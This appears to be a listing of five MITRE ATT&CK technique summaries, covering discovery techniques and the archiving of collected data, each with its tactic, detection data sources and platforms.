Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre